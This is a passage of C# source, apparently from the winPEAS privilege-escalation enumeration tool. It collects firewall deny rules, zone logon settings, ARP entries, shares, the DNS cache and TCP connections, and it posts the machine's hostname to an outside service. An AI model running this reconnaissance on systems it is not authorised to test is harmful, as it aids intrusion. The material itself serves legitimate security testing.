ReflectionHelper.InvokeMemberProperty(currentItem, \"Enabled\");\n                    if (enabled.ToString() == \"True\")\n                    {\n                        object action = ReflectionHelper.InvokeMemberProperty(currentItem, \"Action\");\n                        if (action.ToString() == \"0\") //Only DENY rules\n                        {\n                            // extract all of our fields\n                            object name = ReflectionHelper.InvokeMemberProperty(currentItem, \"Name\");\n                            object description = ReflectionHelper.InvokeMemberProperty(currentItem, \"Description\");\n                            object protocol = ReflectionHelper.InvokeMemberProperty(currentItem, \"Protocol\");\n                            object applicationName = ReflectionHelper.InvokeMemberProperty(currentItem, \"ApplicationName\");\n                            object localAddresses = ReflectionHelper.InvokeMemberProperty(currentItem, \"LocalAddresses\");\n                            object localPorts = ReflectionHelper.InvokeMemberProperty(currentItem, \"LocalPorts\");\n                            object remoteAddresses = ReflectionHelper.InvokeMemberProperty(currentItem, \"RemoteAddresses\");\n                            object remotePorts = ReflectionHelper.InvokeMemberProperty(currentItem, \"RemotePorts\");\n                            object direction = ReflectionHelper.InvokeMemberProperty(currentItem, \"Direction\");\n                            object profiles = ReflectionHelper.InvokeMemberProperty(currentItem, \"Profiles\");\n\n                            string ruleAction = \"ALLOW\";\n                            if (action.ToString() != \"1\")\n                            {\n                                ruleAction = \"DENY\";\n                            }\n\n                            string ruleDirection = \"IN\";\n                            if (direction.ToString() != \"1\")\n                            {\n                                ruleDirection = \"OUT\";\n                            }\n\n                            string ruleProtocol = \"TCP\";\n                            if (protocol.ToString() != \"6\")\n                            {\n                                ruleProtocol = \"UDP\";\n                            }\n\n                            var rule = new Dictionary<string, string>\n                            {\n                                [\"Name\"] = name.ToString(),\n                                [\"Description\"] = description.ToString(),\n                                [\"AppName\"] = applicationName.ToString(),\n                                [\"Protocol\"] = ruleProtocol,\n                                [\"Action\"] = ruleAction,\n                                [\"Direction\"] = ruleDirection,\n                                [\"Profiles\"] = int.Parse(profiles.ToString()).ToString(),\n                                [\"Local\"] = $\"{localAddresses}:{localPorts}\",\n                                [\"Remote\"] = $\"{remoteAddresses}:{remotePorts}\"\n                            };\n\n                            results.Add(rule);\n                        }\n                    }\n                    // manually move the enumerator\n                    enumerator.MoveNext();\n                    currentItem = enumerator.Current;\n                }\n                Marshal.ReleaseComObject(firewallObj);\n                firewallObj = null;\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/HostnameResolution.cs",
    "content": "using System;\nusing System.Net;\nusing System.Net.Http;\nusing System.Text;\nusing System.Text.Json;\n\nnamespace winPEAS.Info.NetworkInfo\n{\n    public class HostnameResolutionInfo\n    {\n        public string Hostname { get; set; }\n        public string ExternalCheckResult { get; set; }\n        public string Error { get; set; }\n    }\n\n    public static class HostnameResolution\n    {\n        private const int INTERNET_SEARCH_TIMEOUT = 15;\n        private static readonly HttpClient httpClient = new HttpClient();\n\n        /// <summary>\n        /// Attempts to resolve the local hostname via the external lambda.\n        /// Always returns a populated <see cref=\"HostnameResolutionInfo\"/> object.\n        /// </summary>\n        public static HostnameResolutionInfo TryExternalCheck()\n        {\n            var info = new HostnameResolutionInfo();\n\n            try\n            {\n                // 1. Determine hostname\n                info.Hostname = Dns.GetHostName();\n                if (string.IsNullOrEmpty(info.Hostname))\n                    info.Hostname = Environment.MachineName;\n\n                // 2. Prepare JSON body\n                var payload = new StringContent(\n                    JsonSerializer.Serialize(new { hostname = info.Hostname }),\n                    Encoding.UTF8,\n                    \"application/json\");\n\n                // 3. Configure HttpClient (header added once)\n                if (!httpClient.DefaultRequestHeaders.Contains(\"User-Agent\"))\n                    httpClient.DefaultRequestHeaders.Add(\"User-Agent\", \"winpeas\");\n                httpClient.Timeout = TimeSpan.FromSeconds(INTERNET_SEARCH_TIMEOUT);\n\n                // 4. Call external checker\n                var resp = httpClient\n                    .PostAsync(\"https://tools.hacktricks.wiki/api/host-checker\", payload)\n                    .GetAwaiter().GetResult();\n\n                if (resp.IsSuccessStatusCode)\n                {\n                    info.ExternalCheckResult = resp.Content.ReadAsStringAsync()\n                                                         .GetAwaiter().GetResult();\n                }\n                else\n                {\n                    info.Error = $\"External check failed (HTTP {(int)resp.StatusCode})\";\n                }\n            }\n            catch (Exception ex)\n            {\n                info.Error = $\"Error during hostname check: {ex.Message}\";\n            }\n\n            return info;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/InternetConnectivity.cs",
    "content": "using System;\nusing System.Net;\nusing System.Net.Http;\nusing System.Net.Http.Headers;\nusing System.Net.NetworkInformation;\nusing System.Net.Sockets;\nusing System.Text;\nusing System.Text.Json;\nusing System.Threading;\n\nnamespace winPEAS.Info.NetworkInfo\n{\n    // ───────────────────────────────────────────────────────────────\n    //  POCO returned to the UI\n    // ───────────────────────────────────────────────────────────────\n    public class InternetConnectivityInfo\n    {\n        public bool   HttpAccess        { get; set; }\n        public bool   HttpsAccess       { get; set; }\n        public bool   LambdaAccess      { get; set; }\n        public bool   DnsAccess         { get; set; }\n        public bool   IcmpAccess        { get; set; }\n\n        public string HttpError         { get; set; }\n        public string HttpsError        { get; set; }\n        public string LambdaError       { get; set; }\n        public string DnsError          { get; set; }\n        public string IcmpError         { get; set; }\n\n        public string SuccessfulHttpIp  { get; set; }\n        public string SuccessfulHttpsIp { get; set; }\n        public string SuccessfulDnsIp   { get; set; }\n        public string SuccessfulIcmpIp  { get; set; }\n    }\n\n    // ───────────────────────────────────────────────────────────────\n    //  Connectivity tester\n    // ───────────────────────────────────────────────────────────────\n    public static class InternetConnectivity\n    {\n        private const int HTTP_TIMEOUT_MS = 5000;   // 5 s\n        private const int ICMP_TIMEOUT_MS = 2000;   // 2 s\n\n        // IPs that answer on 80 & 443\n        private static readonly string[] WEB_TEST_IPS =\n            { \"93.184.216.34\", \"151.101.1.69\" };   // example.com / Fastly\n\n        // Public DNS resolvers for DNS + ICMP checks\n        private static readonly string[] DNS_ICMP_IPS =\n            { \"1.1.1.1\", \"8.8.8.8\" };\n\n        private const string LAMBDA_URL =\n            \"https://tools.hacktricks.wiki/api/host-checker\";\n\n        // Shared HttpClient (kept for HTTP & Lambda checks)\n        private static readonly HttpClient http = new HttpClient\n        {\n            Timeout = TimeSpan.FromMilliseconds(HTTP_TIMEOUT_MS)\n        };\n\n        // ─── Helpers ───────────────────────────────────────────────\n        private static bool TryHttpAccess(string ip, out string error)  =>\n            TryWebRequest($\"http://{ip}\",  out error);\n\n        // **NEW IMPLEMENTATION** – plain TCP connect on port 443\n        private static bool TryHttpsAccess(string ip, out string error)\n        {\n            try\n            {\n                using var client = new TcpClient();\n\n                // Start async connect and wait up to the timeout\n                var connectTask = client.ConnectAsync(ip, 443);\n                bool completed  = connectTask.Wait(HTTP_TIMEOUT_MS);\n\n                if (!completed)\n                {\n                    error = \"TCP connect timed out\";\n                    return false;\n                }\n\n                if (client.Connected)\n                {\n                    error = null;\n                    return true;\n                }\n\n                error = \"TCP connection failed\";\n                return false;\n            }\n            catch (Exception ex)\n            {\n                error = ex.Message;\n                return false;\n            }\n        }\n\n        private static bool TryWebRequest(string url, out string error)\n        {\n            try\n            {\n                using var cts =\n                    new CancellationTokenSource(TimeSpan.FromMilliseconds(HTTP_TIMEOUT_MS));\n                http.GetAsync(url, cts.Token).GetAwaiter().GetResult();\n\n                error = null;          // any HTTP response == connectivity\n                return true;\n            }\n            catch (Exception ex)\n            {\n                error = ex.Message;\n                return false;\n            }\n        }\n\n        private static bool TryLambdaAccess(out string error)\n        {\n            try\n            {\n                using var cts =\n                    new CancellationTokenSource(TimeSpan.FromMilliseconds(HTTP_TIMEOUT_MS));\n\n                var payload = new StringContent(\n                    JsonSerializer.Serialize(new { hostname = Environment.MachineName }),\n                    Encoding.UTF8,\n                    \"application/json\");\n                var req = new HttpRequestMessage(HttpMethod.Post, LAMBDA_URL);\n                req.Content = payload;\n                req.Headers.UserAgent.ParseAdd(\"winpeas\");\n                req.Headers.Accept.Add(\n                    new MediaTypeWithQualityHeaderValue(\"application/json\"));\n\n                var resp = http.SendAsync(req, cts.Token).GetAwaiter().GetResult();\n\n                error = resp.IsSuccessStatusCode ? null :\n                        $\"HTTP {(int)resp.StatusCode}\";\n                return error == null;\n            }\n            catch (Exception ex)\n            {\n                error = ex.Message;\n                return false;\n            }\n        }\n\n        private static bool TryDnsAccess(string ip, out string error)\n        {\n            try\n            {\n                using var udp = new UdpClient();\n                udp.Client.ReceiveTimeout = HTTP_TIMEOUT_MS;\n                udp.Client.SendTimeout    = HTTP_TIMEOUT_MS;\n\n                var server = new IPEndPoint(IPAddress.Parse(ip), 53);\n\n                // minimal query for google.com A‑record\n                byte[] q = {\n                    0x00,0x01, 0x01,0x00, 0x00,0x01, 0x00,0x00, 0x00,0x00, 0x00,0x00,\n                    0x06,0x67,0x6f,0x6f,0x67,0x6c,0x65, 0x03,0x63,0x6f,0x6d, 0x00,\n                    0x00,0x01, 0x00,0x01\n                };\n\n                udp.Send(q, q.Length, server);\n\n                IPEndPoint remote = new IPEndPoint(IPAddress.Any, 0);\n                byte[] resp = udp.Receive(ref remote);\n\n                error = resp?.Length > 0 ? null : \"No DNS response\";\n                return error == null;\n            }\n            catch (SocketException ex) { error = ex.Message; return false; }\n            catch (Exception      ex) { error = ex.Message; return false; }\n        }\n\n        private static bool TryIcmpAccess(string ip, out string error)\n        {\n            try\n            {\n                using var ping = new Ping();\n                var reply = ping.Send(ip, ICMP_TIMEOUT_MS);\n\n                error = reply?.Status == IPStatus.Success\n                        ? null\n                        : $\"Ping failed: {reply?.Status}\";\n                return error == null;\n            }\n            catch (Exception ex) { error = ex.Message; return false; }\n        }\n\n        // ─── Main entry ───────────────────────────────────────────\n        public static InternetConnectivityInfo CheckConnectivity()\n        {\n            var info = new InternetConnectivityInfo();\n\n            // -------- HTTP / HTTPS --------------------------------\n            foreach (var ip in WEB_TEST_IPS)\n            {\n                // HTTP\n                if (!info.HttpAccess)\n                {\n                    string httpErr;\n                    if (TryHttpAccess(ip, out httpErr))\n                    {\n                        info.HttpAccess       = true;\n                        info.SuccessfulHttpIp = ip;\n                    }\n                    else\n                    {\n                        info.HttpError = httpErr;\n                    }\n                }\n\n                // HTTPS (raw TCP 443)\n                if (!info.HttpsAccess)\n                {\n                    string httpsErr;\n                    if (TryHttpsAccess(ip, out httpsErr))\n                    {\n                        info.HttpsAccess       = true;\n                        info.SuccessfulHttpsIp = ip;\n                    }\n                    else\n                    {\n                        info.HttpsError = httpsErr;\n                    }\n                }\n\n                if (info.HttpAccess && info.HttpsAccess) break;\n            }\n\n            // -------- Lambda --------------------------------------\n            info.LambdaAccess = TryLambdaAccess(out string lambdaErr);\n            if (!info.LambdaAccess) info.LambdaError = lambdaErr;\n\n            // -------- DNS / ICMP ----------------------------------\n            foreach (var ip in DNS_ICMP_IPS)\n            {\n                // DNS\n                if (!info.DnsAccess)\n                {\n                    string dnsErr;\n                    if (TryDnsAccess(ip, out dnsErr))\n                    {\n                        info.DnsAccess       = true;\n                        info.SuccessfulDnsIp = ip;\n                    }\n                    else\n                    {\n                        info.DnsError = dnsErr;\n                    }\n                }\n\n                // ICMP\n                if (!info.IcmpAccess)\n                {\n                    string pingErr;\n                    if (TryIcmpAccess(ip, out pingErr))\n                    {\n                        info.IcmpAccess       = true;\n                        info.SuccessfulIcmpIp = ip;\n                    }\n                    else\n                    {\n                        info.IcmpError = pingErr;\n                    }\n                }\n\n                if (info.DnsAccess && info.IcmpAccess) break;\n            }\n\n            return info;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/InternetSettings/InternetSettings.cs",
    "content": "﻿using System.Collections.Generic;\nusing winPEAS.Helpers.Registry;\n\nnamespace winPEAS.Info.NetworkInfo.InternetSettings\n{\n    class InternetSettings\n    {\n        public static InternetSettingsInfo GetInternetSettingsInfo()\n        {\n            var result = new InternetSettingsInfo();\n\n            // List user/system internet settings for zonemapkey (local, trusted, etc.) :\n            // 1 = Intranet zone – sites on your local network.\n            // 2 = Trusted Sites zone – sites that have been added to your trusted sites.\n            // 3 = Internet zone – sites that are on the Internet.\n            // 4 = Restricted Sites zone – sites that have been specifically added to your restricted sites.\n\n\n            IDictionary<string, string> zoneMapKeys = new Dictionary<string, string>()\n                                            {\n                                                {\"0\", \"My Computer\" },\n                                                {\"1\", \"Local Intranet Zone\"},\n                                                {\"2\", \"Trusted Sites Zone\"},\n                                                {\"3\", \"Internet Zone\"},\n                                                {\"4\", \"Restricted Sites Zone\"}\n                                            };\n\n            // lists user/system internet settings, including default proxy info        \n            string internetSettingsKey = \"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\";\n            AddSettings(\"HKCU\", internetSettingsKey, result.GeneralSettings, zoneMapKeys: null);\n            AddSettings(\"HKLM\", internetSettingsKey, result.GeneralSettings, zoneMapKeys: null);\n\n            string zoneMapKey = @\"Software\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMapKey\";\n            AddSettings(\"HKCU\", zoneMapKey, result.ZoneMaps, zoneMapKeys);\n            AddSettings(\"HKLM\", zoneMapKey, result.ZoneMaps, zoneMapKeys);\n\n            // List Zones settings with automatic logons\n\n            /**\n             * HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\{0..4}\\1A00\n             * Logon setting (1A00) may have any one of the following values (hexadecimal):\n             * Value    Setting\n             *  ---------------------------------------------------------------\n             * 0x00000000 Automatically logon with current username and password\n             * 0x00010000 Prompt for user name and password\n             * 0x00020000 Automatic logon only in the Intranet zone\n             * 0x00030000 Anonymous logon\n            **/\n\n            IDictionary<uint, string> zoneAuthSettings = new Dictionary<uint, string>()\n                                            {\n                                                {0x00000000, \"Automatically logon with current username and password\"},\n                                                {0x00010000, \"Prompt for user name and password\"},\n                                                {0x00020000, \"Automatic logon only in the Intranet zone\"},\n                                                {0x00030000, \"Anonymous logon\"}\n                                            };\n\n            for (int i = 0; i <= 4; i++)\n            {\n                var keyPath = @\"Software\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\\" + i;\n                var isParsed = uint.TryParse(RegistryHelper.GetRegValue(\"HKLM\", keyPath, \"1A00\"), out uint authSetting);\n\n                if (isParsed)\n                {\n                    var zone = zoneMapKeys[i.ToString()];\n                    var authSettingStr = zoneAuthSettings[authSetting];\n\n                    result.ZoneAuthSettings.Add(new InternetSettingsKey(\n                        \"HKLM\",\n                        keyPath,\n                        \"1A00\",\n                        authSetting.ToString(),\n                        $\"{zone} : {authSettingStr}\"\n                    ));\n                }\n            }\n\n            return result;\n        }\n\n        private static void AddSettings(string hive, string keyPath, IList<InternetSettingsKey> internetSettingsList, IDictionary<string, string> zoneMapKeys = null)\n        {\n            var proxySettings = (RegistryHelper.GetRegValues(hive, keyPath) ?? new Dictionary<string, object>());\n            if (proxySettings != null)\n            {\n                foreach (var kvp in proxySettings)\n                {\n                    string interpretation = zoneMapKeys?[kvp.Value.ToString()];\n\n                    internetSettingsList.Add(new InternetSettingsKey(\n                        hive,\n                        keyPath,\n                        kvp.Key,\n                        kvp.Value.ToString(),\n                        interpretation));\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/InternetSettings/InternetSettingsInfo.cs",
    "content": "﻿using System.Collections.Generic;\n\nnamespace winPEAS.Info.NetworkInfo.InternetSettings\n{\n    class InternetSettingsInfo\n    {\n        public IList<InternetSettingsKey> GeneralSettings { get; set; } = new List<InternetSettingsKey>();\n        public IList<InternetSettingsKey> ZoneMaps { get; set; } = new List<InternetSettingsKey>();\n        public IList<InternetSettingsKey> ZoneAuthSettings { get; set; } = new List<InternetSettingsKey>();\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/InternetSettings/InternetSettingsKey.cs",
    "content": "﻿namespace winPEAS.Info.NetworkInfo.InternetSettings\n{\n    internal class InternetSettingsKey\n    {\n        public string ValueName { get; }\n        public string Value { get; }\n        public string Hive { get; }\n        public string Path { get; }\n        public string Interpretation { get; }\n\n        public InternetSettingsKey(\n            string hive,\n            string path,\n            string valueName,\n            string value,\n            string interpretation)\n        {\n            ValueName = valueName;\n            Value = value;\n            Interpretation = interpretation;\n            Hive = hive;\n            Path = path;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkConnection.cs",
    "content": "﻿using System.Net;\nusing System.Runtime.InteropServices;\nusing winPEAS.Info.NetworkInfo.Enums;\n\nnamespace winPEAS.Info.NetworkInfo\n{\n    [StructLayout(LayoutKind.Sequential)]\n    public abstract class NetworkConnection\n    {\n        public Protocol Protocol { get; set; }\n        public IPAddress LocalAddress { get; set; }\n        public ushort LocalPort { get; set; }\n        public int ProcessId { get; set; }\n        public string ProcessName { get; set; }\n\n        protected NetworkConnection(\n            Protocol protocol,\n            IPAddress localAddress,\n            ushort localPort,\n            int processId,\n            string processName)\n        {\n            Protocol = protocol;\n            LocalAddress = localAddress;\n            LocalPort = localPort;\n            ProcessId = processId;\n            ProcessName = processName;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkInfoHelper.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.Linq;\nusing System.Management;\nusing System.Net;\nusing System.Net.NetworkInformation;\nusing System.Runtime.InteropServices;\nusing winPEAS.Helpers;\nusing winPEAS.Info.NetworkInfo.Enums;\nusing winPEAS.Info.NetworkInfo.Structs;\nusing winPEAS.Native;\n\nnamespace winPEAS.Info.NetworkInfo\n{\n    class NetworkInfoHelper\n    {\n        // https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-socket\n        private const int AF_INET = 2;\n        private const int AF_INET6 = 23;\r\n\r\n        [StructLayout(LayoutKind.Sequential)]\n        internal struct MIB_IPNETROW\n        {\n            [MarshalAs(UnmanagedType.U4)]\n            public int dwIndex;\n            [MarshalAs(UnmanagedType.U4)]\n            public int dwPhysAddrLen;\n            [MarshalAs(UnmanagedType.U1)]\n            public byte mac0;\n            [MarshalAs(UnmanagedType.U1)]\n            public byte mac1;\n            [MarshalAs(UnmanagedType.U1)]\n            public byte mac2;\n            [MarshalAs(UnmanagedType.U1)]\n            public byte mac3;\n            [MarshalAs(UnmanagedType.U1)]\n            public byte mac4;\n            [MarshalAs(UnmanagedType.U1)]\n            public byte mac5;\n            [MarshalAs(UnmanagedType.U1)]\n            public byte mac6;\n            [MarshalAs(UnmanagedType.U1)]\n            public byte mac7;\n            [MarshalAs(UnmanagedType.U4)]\n            public int dwAddr;\n            [MarshalAs(UnmanagedType.U4)]\n            public int dwType;\n        }\n\n        public enum ArpEntryType\n        {\n            Other = 1,\n            Invalid = 2,\n            Dynamic = 3,\n            Static = 4,\n        }\n        public const int ERROR_INSUFFICIENT_BUFFER = 122;\n\n\n        public static List<Dictionary<string, string>> GetNetCardInfo()\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n            Dictionary<int, Dictionary<string, string>> adapters = new Dictionary<int, Dictionary<string, string>>();\n\n            try\n            {\n                foreach (NetworkInterface netElement in NetworkInterface.GetAllNetworkInterfaces())\n                {\n                    Dictionary<string, string> card = new Dictionary<string, string>() {\n                        { \"Index\", netElement.GetIPProperties().GetIPv4Properties().Index.ToString() },\n                        { \"Name\", netElement.Name },\n                        { \"PysicalAddr\", \"\" },\n                        { \"DNSs\", String.Join(\", \", netElement.GetIPProperties().DnsAddresses) },\n                        { \"Gateways\", \"\" },\n                        { \"IPs\", \"\" },\n                        { \"Netmasks\", \"\" },\n                        { \"arp\", \"\" }\n                    };\n                    card[\"PysicalAddrIni\"] = netElement.GetPhysicalAddress().ToString();\n                    for (int i = 0; i < card[\"PysicalAddrIni\"].Length; i += 2)\n                        card[\"PysicalAddr\"] += card[\"PysicalAddrIni\"].Substring(i, 2) + \":\";\n\n                    foreach (GatewayIPAddressInformation address in netElement.GetIPProperties().GatewayAddresses.Reverse()) //Reverse so first IPv4\n                        card[\"Gateways\"] += address.Address + \", \";\n\n                    foreach (UnicastIPAddressInformation ip in netElement.GetIPProperties().UnicastAddresses.Reverse())\n                    { //Reverse so first IPv4\n                        card[\"IPs\"] += ip.Address.ToString() + \", \";\n                        card[\"Netmasks\"] += ip.IPv4Mask.ToString() + \", \";\n                    }\n\n                    //Delete last separator\n                    if (card[\"PysicalAddr\"].Length > 0)\n                        card[\"PysicalAddr\"] = card[\"PysicalAddr\"].Remove(card[\"PysicalAddr\"].Length - 1);\n\n                    if (card[\"Gateways\"].Length > 0)\n                        card[\"Gateways\"] = card[\"Gateways\"].Remove(card[\"Gateways\"].Length - 2);\n\n                    if (card[\"IPs\"].Length > 0)\n                        card[\"IPs\"] = card[\"IPs\"].Remove(card[\"IPs\"].Length - 2);\n\n                    if (card[\"Netmasks\"].Length > 0)\n                        card[\"Netmasks\"] = card[\"Netmasks\"].Remove(card[\"Netmasks\"].Length - 2);\n\n                    adapters[netElement.GetIPProperties().GetIPv4Properties().Index] = card;\n                }\n                //return results;\n\n                // GET ARP values\n\n                int bytesNeeded = 0;\n\n                int result = Iphlpapi.GetIpNetTable(IntPtr.Zero, ref bytesNeeded, false);\n\n                // call the function, expecting an insufficient buffer.\n                if (result != ERROR_INSUFFICIENT_BUFFER)\n                {\n                    Console.WriteLine(\"  [X] Exception: {0}\", result);\n                }\n\n                IntPtr buffer = IntPtr.Zero;\n\n                // allocate sufficient memory for the result structure\n                buffer = Marshal.AllocCoTaskMem(bytesNeeded);\n\n                result = Iphlpapi.GetIpNetTable(buffer, ref bytesNeeded, false);\n\n                if (result != 0)\n                {\n                    Console.WriteLine(\"  [X] Exception allocating buffer: {0}\", result);\n                }\n\n                // now we have the buffer, we have to marshal it. We can read the first 4 bytes to get the length of the buffer\n                int entries = Marshal.ReadInt32(buffer);\n\n                // increment the memory pointer by the size of the int\n                IntPtr currentBuffer = new IntPtr(buffer.ToInt64() + Marshal.SizeOf(typeof(int)));\n\n                // allocate a list of entries\n                List<MIB_IPNETROW> arpEntries = new List<MIB_IPNETROW>();\n\n                // cycle through the entries\n                for (int index = 0; index < entries; index++)\n                {\n                    arpEntries.Add((MIB_IPNETROW)Marshal.PtrToStructure(new IntPtr(currentBuffer.ToInt64() + (index * Marshal.SizeOf(typeof(MIB_IPNETROW)))), typeof(MIB_IPNETROW)));\n                }\n\n                // sort the list by interface index\n                List<MIB_IPNETROW> sortedARPEntries = arpEntries.OrderBy(o => o.dwIndex).ToList();\n                int currentIndexAdaper = -1;\n\n                foreach (MIB_IPNETROW arpEntry in sortedARPEntries)\n                {\n                    int indexAdapter = arpEntry.dwIndex;\n                    if (!adapters.ContainsKey(indexAdapter))\n                    {\n                        Console.WriteLine(\"Error: No interface found with Index \" + arpEntry.dwIndex.ToString());\n                        continue;\n                    }\n                    currentIndexAdaper = indexAdapter;\n\n                    IPAddress ipAddr = new IPAddress(BitConverter.GetBytes(arpEntry.dwAddr));\n                    byte[] macBytes = new byte[] { arpEntry.mac0, arpEntry.mac1, arpEntry.mac2, arpEntry.mac3, arpEntry.mac4, arpEntry.mac5 };\n                    string physAddr = BitConverter.ToString(macBytes);\n                    ArpEntryType entryType = (ArpEntryType)arpEntry.dwType;\n                    adapters[arpEntry.dwIndex][\"arp\"] += $\"          {ipAddr,-22}{physAddr,-22}{entryType}\\n\";\n                }\n\n                Iphlpapi.FreeMibTable(buffer);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            results = adapters.Values.ToList();\n            return results;\n        }\n\n        public static List<List<string>> GetNetConnections()\n        {\n            List<List<string>> results = new List<List<string>>();\n            try\n            {\n                var props = IPGlobalProperties.GetIPGlobalProperties();\n                results.Add(new List<string>() { \"Proto\", \"Local Address\", \"Foreign Address\", \"State\" });\n\n                //foreach (var conn in props.GetActiveTcpConnections())\n                //    results.Add(new List<string>() { \"TCP\", conn.LocalEndPoint.ToString(), conn.RemoteEndPoint.ToString(), conn.State.ToString() });\n\n                foreach (var listener in props.GetActiveTcpListeners())\n                {\n                    bool repeated = false;\n                    foreach (List<string> inside_entry in results)\n                    {\n                        if (inside_entry.SequenceEqual(new List<string>() { \"TCP\", listener.ToString(), \"\", \"Listening\" }))\n                            repeated = true;\n                    }\n                    if (!repeated)\n                        results.Add(new List<string>() { \"TCP\", listener.ToString(), \"\", \"Listening\" });\n                }\n\n                foreach (var listener in props.GetActiveUdpListeners())\n                {\n                    bool repeated = false;\n                    foreach (List<string> inside_entry in results)\n                    {\n                        if (inside_entry.SequenceEqual(new List<string>() { \"UDP\", listener.ToString(), \"\", \"Listening\" }))\n                            repeated = true;\n                    }\n                    if (!repeated)\n                        results.Add(new List<string>() { \"UDP\", listener.ToString(), \"\", \"Listening\" });\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n\n            return results;\n        }\r\n\r\n\r\n\r\n        // https://stackoverflow.com/questions/3567063/get-a-list-of-all-unc-shared-folders-on-a-local-network-server\r\n        // v2: https://stackoverflow.com/questions/6227892/reading-share-permissions-in-c-sharp\r\n        public static List<Dictionary<string, string>> GetNetworkShares(string pcname)\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n            try\n            {\n                ManagementClass manClass = new ManagementClass(@\"\\\\\" + pcname + @\"\\root\\cimv2:Win32_Share\"); //get shares\n\n                foreach (ManagementObject objShare in manClass.GetInstances())\n                {\n                    string permStr = \"\";\n\n                    try\n                    {\n                        //get the access values you have\n                        ManagementBaseObject result = objShare.InvokeMethod(\"GetAccessMask\", null, null);\n\n                        //value meanings: http://msdn.microsoft.com/en-us/library/aa390438(v=vs.85).aspx\n                        var currentPerm = Convert.ToInt32(result.Properties[\"ReturnValue\"].Value);\n                        permStr = PermissionsHelper.PermInt2Str(currentPerm);\n                    }\n                    catch (ManagementException)\n                    {\n                        permStr = \"\"; //no permissions are set on the share\n                    }\n\n                    Dictionary<string, string> share = new Dictionary<string, string> { };\n                    share[\"Name\"] = $\"{objShare.Properties[\"Name\"].Value}\";\n                    share[\"Path\"] = $\"{objShare.Properties[\"Path\"].Value}\";\n                    share[\"Permissions\"] = permStr;\n                    results.Add(share);\n                }\n\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n\n        //From Seatbelt\n        public static List<Dictionary<string, string>> GetDNSCache()\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n            try\n            {\n                using (ManagementObjectSearcher wmiData = new ManagementObjectSearcher(@\"root\\standardcimv2\", \"SELECT * FROM MSFT_DNSClientCache\"))\n                {\n                    using (ManagementObjectCollection data = wmiData.Get())\n                    {\n                        foreach (ManagementObject result in data)\n                        {\n                            Dictionary<string, string> dnsEntry = new Dictionary<string, string>();\n                            string entry = $\"{result[\"Entry\"]}\";\n                            string name = $\"{result[\"Name\"]}\";\n                            string dataDns = $\"{result[\"Data\"]}\";\n                            dnsEntry[\"Entry\"] = (entry.Length > 33) ? \"...\" + result[\"Entry\"].ToString().Substring(entry.Length - 32) : entry;\n                            dnsEntry[\"Name\"] = (name.Length > 33) ? \"...\" + name.Substring(name.Length - 32) : name;\n                            dnsEntry[\"Data\"] = (dataDns.Length > 33) ? \"...\" + dataDns.Substring(dataDns.Length - 32) : dataDns;\n                            results.Add(dnsEntry);\n                        }\n                    }\n                }\n            }\n            catch (ManagementException ex) when (ex.ErrorCode == ManagementStatus.InvalidNamespace)\n            {\n                Console.WriteLine(\"  [X] 'MSFT_DNSClientCache' WMI class unavailable (minimum supported versions of Windows: 8/2012)\", ex.Message);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\r\n\r\n        public static List<TcpConnectionInfo> GetTcpConnections(IPVersion ipVersion, Dictionary<int, Process> processesByPid = null)\n        {\n            int bufferSize = 0;\n            List<TcpConnectionInfo> tcpTableRecords = new List<TcpConnectionInfo>();\n\n            int ulAf = AF_INET;\n\n            if (ipVersion == IPVersion.IPv6)\n            {\n                ulAf = AF_INET6;\n            }\n\n            // Getting the initial size of TCP table.\n            uint result = Iphlpapi.GetExtendedTcpTable(IntPtr.Zero, ref bufferSize, true, ulAf, TcpTableClass.TCP_TABLE_OWNER_PID_ALL);\n\n            // Allocating memory as an IntPtr with the bufferSize.\n            IntPtr tcpTableRecordsPtr = Marshal.AllocHGlobal(bufferSize);\n\n            try\n            {\n                // The IntPtr from last call, tcpTableRecoresPtr must be used in the subsequent\n                // call and passed as the first parameter.\n                result = Iphlpapi.GetExtendedTcpTable(tcpTableRecordsPtr, ref bufferSize, true, ulAf, TcpTableClass.TCP_TABLE_OWNER_PID_ALL);\n\n                // If not zero, the call failed.\n                if (result != 0)\n                {\r\n                    return new List<TcpConnectionInfo>();\r\n                }\n\n                // Marshals data fron an unmanaged block of memory to the\n                // newly allocated managed object 'tcpRecordsTable' of type\n                // 'MIB_TCPTABLE_OWNER_PID' to get number of entries of TCP\n                // table structure.\n\n                // Determine if IPv4 or IPv6.\n                if (ipVersion == IPVersion.IPv4)\n                {\n                    MIB_TCPTABLE_OWNER_PID tcpRecordsTable = (MIB_TCPTABLE_OWNER_PID)Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCPTABLE_OWNER_PID));\n\n                    IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries));\n\n                  